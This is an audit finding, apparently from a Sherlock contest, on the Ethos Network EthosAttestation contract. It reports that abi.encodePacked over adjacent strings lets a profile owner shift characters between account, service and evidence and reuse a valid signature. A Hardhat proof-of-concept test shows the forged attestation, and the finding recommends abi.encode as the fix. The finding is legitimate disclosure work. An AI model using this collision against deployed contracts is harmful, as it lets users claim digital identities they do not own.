Skip to content

Latest commit

 

History

History
97 lines (68 loc) · 2.32 KB

File metadata and controls

97 lines (68 loc) · 2.32 KB

Square Pistachio Unicorn

High

createAttestation: Hash collision due to abi.encodePacked

Summary

createAttestation uses the functions: _keccakForCreateAttestation and getServiceAndAccountHash, which both apply keccak256 to abi.encodePacked output. Both functions accept strings as their input parameters, as such when abi.encodePacked concatenates them, there is an ambiguity where one string ends and starts.

Root Cause

https://github.com/sherlock-audit/2024-10-ethos-network/blob/main/ethos/packages/contracts/contracts/EthosAttestation.sol#L521

return keccak256(abi.encodePacked(profileId, randValue, account, service, evidence));

Thus it is possible to "move" the string values, while still generating the same hash output (and same valid signature)

'real_user' + 'discord.com' + 'discord.com/my_evidence_url'
==
'real_userdiscord.com' + 'discord.com' + '/my_evidence_url'

or

'real_user' + 'spacex.com' + 'spacex.com/my_evidence_url'
==
'real_userspace' + 'x.com' + 'spacex.com/my_evidence_url'

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

  • Profile owner can claim digital identities he does not own. Supported online platforms, and their naming in the system, will affect exploitability.

PoC

// EthosAttestation.test.ts
it.only('hash_collision', async () => {
  const {
    OWNER,
    PROFILE_CREATOR_0,
    ethosProfile,
    ethosAttestation,
    EXPECTED_SIGNER,
  } = await loadFixture(deployFixture);

  await ethosProfile.connect(OWNER).inviteAddress(PROFILE_CREATOR_0.address);
  await ethosProfile.connect(PROFILE_CREATOR_0).createProfile(1);

  const creator0profileId = String(
    await ethosProfile.profileIdByAddress(PROFILE_CREATOR_0.address),
  );

  const randValue = '123';

  const signature = await common.signatureForCreateAttestation(
    creator0profileId,
    randValue,
    'real_user',
    'discord.com',
    'discord.com/my_evidence_url',
    EXPECTED_SIGNER,
  );

  await
    ethosAttestation
      .connect(PROFILE_CREATOR_0)
      .createAttestation(
        creator0profileId,
        randValue,
        { account: 'real_userdiscord.com', service: 'discord.com' }, // bug : should fail
        '/my_evidence_url',
        signature,
      );
});

Mitigation

Use abi.encode.